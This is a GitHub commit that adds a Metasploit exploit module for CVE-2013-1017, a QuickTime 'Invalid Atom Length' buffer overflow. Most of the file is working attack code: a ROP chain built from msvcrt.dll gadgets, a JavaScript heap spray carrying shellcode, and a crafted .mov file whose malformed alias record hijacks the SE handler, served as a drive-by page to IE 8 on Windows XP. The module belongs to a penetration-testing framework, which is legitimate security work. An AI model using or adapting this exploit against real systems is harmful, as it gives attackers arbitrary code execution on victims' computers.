Skip to content

Commit c85b994

Browse files
wchen-r7wchen-r7
committed
Add CVE-2013-1017: Apple Quicktime Invalid Atom Length BoF
This module exploits a vulnerability found in Apple Quicktime. The flaw is triggered when Quicktime fails to properly handle the data length for certain atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer overflow by loading a specially crafted .mov file, and allows arbitrary code execution under the context of the user.
1 parent 034e0b6 commit c85b994

File tree

1 file changed

+236
-0
lines changed

1 file changed

+236
-0
lines changed

‎modules/exploits/windows/browser/apple_quicktime_rdrf.rb

Lines changed: 236 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,236 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Apple Quicktime Invalid Atom Length Buffer Overflow",
19+
'Description' => %q{
20+
This module exploits a vulnerability found in Apple Quicktime. The flaw is
21+
triggered when Quicktime fails to properly handle the data length for certain
22+
atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
23+
overflow by loading a specially crafted .mov file, and allows arbitrary
24+
code execution under the context of the user.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'pyoor', # Original Discovery & PoC (overlapped finding)
30+
'Tom Gallagher', # Original Discovery (overlapped)
31+
'Paul Bates', # Original Discovery (overlapped)
32+
'sinn3r' # Metasploit
33+
],
34+
'References' =>
35+
[
36+
[ 'CVE', '2013-1017' ],
37+
[ 'BID', '60097' ],
38+
[ 'URL', 'http://support.apple.com/kb/HT5770' ]
39+
],
40+
'Platform' => 'win',
41+
'Targets' =>
42+
[
43+
# Tested Quicktime versions:
44+
# 7.7.3 (1680.64)
45+
[ 'Automatic', {} ],
46+
[ 'IE 8 on Windows XP SP3', { 'Rop' => true } ] # msvcrt (7.0.2600.5512)
47+
],
48+
'Payload' =>
49+
{
50+
'BadChars' => "\x00", # js_property_spray no like nilz
51+
'StackAdjustment' => -3500
52+
},
53+
'DefaultOptions' =>
54+
{
55+
'InitialAutoRunScript' => 'migrate -f'
56+
},
57+
'Privileged' => false,
58+
'DisclosureDate' => "May 22 2013",
59+
'DefaultTarget' => 0))
60+
end
61+
62+
63+
def get_target(agent)
64+
return target if target.name != 'Automatic'
65+
66+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
67+
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
68+
69+
ie_name = "IE #{ie}"
70+
71+
case nt
72+
when '5.1'
73+
os_name = 'Windows XP SP3'
74+
end
75+
76+
targets.each do |t|
77+
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
78+
return t
79+
end
80+
end
81+
82+
nil
83+
end
84+
85+
86+
def get_payload(t)
87+
p = ''
88+
89+
rop =
90+
[
91+
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
92+
0x77c1e844, # skip 4 bytes [msvcrt.dll]
93+
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
94+
0xffffffff,
95+
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
96+
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
97+
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
98+
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
99+
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
100+
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
101+
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
102+
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
103+
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
104+
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
105+
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
106+
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
107+
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
108+
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
109+
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
110+
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
111+
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
112+
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
113+
].pack("V*")
114+
115+
p << rop
116+
p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
117+
p << payload.encoded
118+
119+
p
120+
end
121+
122+
123+
def get_html(t)
124+
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
125+
fake_mov_name = rand_text_alpha(4) + ".mov"
126+
html = %Q|
127+
<html>
128+
<head>
129+
<script>
130+
#{js_property_spray}
131+
132+
var s = unescape("#{js_p}");
133+
sprayHeap({shellcode:s});
134+
</script>
135+
</head>
136+
<body>
137+
<embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed>
138+
</body>
139+
</html>
140+
|
141+
142+
html.gsub(/^\t\t/, '')
143+
end
144+
145+
146+
def on_request_uri(cli, request)
147+
agent = request.headers['User-Agent']
148+
print_status("Requesting: #{request.uri}")
149+
150+
target = get_target(agent)
151+
152+
# contype: a mov file request from Apple Quicktime
153+
if target.nil? and agent != 'contype'
154+
print_error("Browser not supported, sending 404: #{agent}")
155+
send_not_found(cli)
156+
return
157+
end
158+
159+
print_status("Target selected as: #{target.name}") if target
160+
161+
if request.uri =~ /\.mov$/
162+
print_status("Sending specially crafted .mov file")
163+
send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })
164+
else
165+
html = get_html(target)
166+
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
167+
end
168+
end
169+
170+
def sort_bytes(data)
171+
data.map { |e| [e].pack('N').scan(/../).reverse.join }.join
172+
end
173+
174+
def rop_nop
175+
[0x6692346d].pack('V*') # Ret (QuickTime.qts)
176+
end
177+
178+
def exploit
179+
buf = ''
180+
buf << rand_text_alpha(467) # 467 to algin the pivot
181+
10.times {
182+
buf << rop_nop
183+
}
184+
buf << [
185+
0x66849239, # POP ESP; RET (QuickTime.qts)
186+
0x20302020 # Target value for ESP (our ROP payload)
187+
].pack('V*')
188+
buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
189+
buf << sort_bytes([0x66923467]) # ADD ESP,280; RET (QuickTime.qts) - pivot
190+
buf << rand_text_alpha(658 - buf.length) # 658 bytes to padd up the mov file size
191+
192+
# Quicktime File Format Specifications:
193+
# https://developer.apple.com/standards/qtff-2001.pdf
194+
mov = "\x00\x00\x06\xDF" # File size
195+
mov << "moov" # Movie atom
196+
mov << "\x00\x00\x06\xD7" # size (1751d)
197+
mov << "rmra" # Reference Movie atom
198+
mov << "\x00\x00\x06\xCF" # size (1743d)
199+
mov << "rmda" # rmda atom
200+
mov << "\x00\x00\x06\xBF" # size (1727d)
201+
mov << "rdrf" # Data reference atom
202+
mov << "\x00\x00\x00\x00" # size set to 0
203+
mov << "alis" # Data reference type: FS alias record
204+
mov << "\x00\x00\x06\xAA" # Size (1706d)
205+
mov << rand_text_alpha(8)
206+
mov << "\x00\x00\x06\x61" # Size (1633d)
207+
mov << rand_text_alpha(38)
208+
mov << "\x12"
209+
mov << rand_text_alpha(81)
210+
mov << "\xFF\xFF"
211+
mov << rand_text_alpha(18)
212+
mov << "\x00\x08" # Size (8d)
213+
mov << rand_text_alpha(8)
214+
mov << "\x00\x00"
215+
mov << "\x00\x08" # Size (8d)
216+
mov << rand_text_alpha(8)
217+
mov << "\x00\x00"
218+
mov << "\x00\x26" # Size (38d)
219+
mov << rand_text_alpha(38)
220+
mov << "\x00\x0F\x00\x0E"
221+
mov << "AA" # Size (must be invalid)
222+
mov << rand_text_alpha(12)
223+
mov << "\x00\x12\x00\x21"
224+
mov << rand_text_alpha(36)
225+
mov << "\x00"
226+
mov << "\x0F\x33"
227+
mov << rand_text_alpha(17)
228+
mov << "\x02\xF4" # Size (756h)
229+
mov << rand_text_alpha(756)
230+
mov << "\xFF\xFF\x00\x00\x00"
231+
mov << buf
232+
233+
@exploit = mov
234+
super
235+
end
236+
end

0 commit comments

Comments
 (0)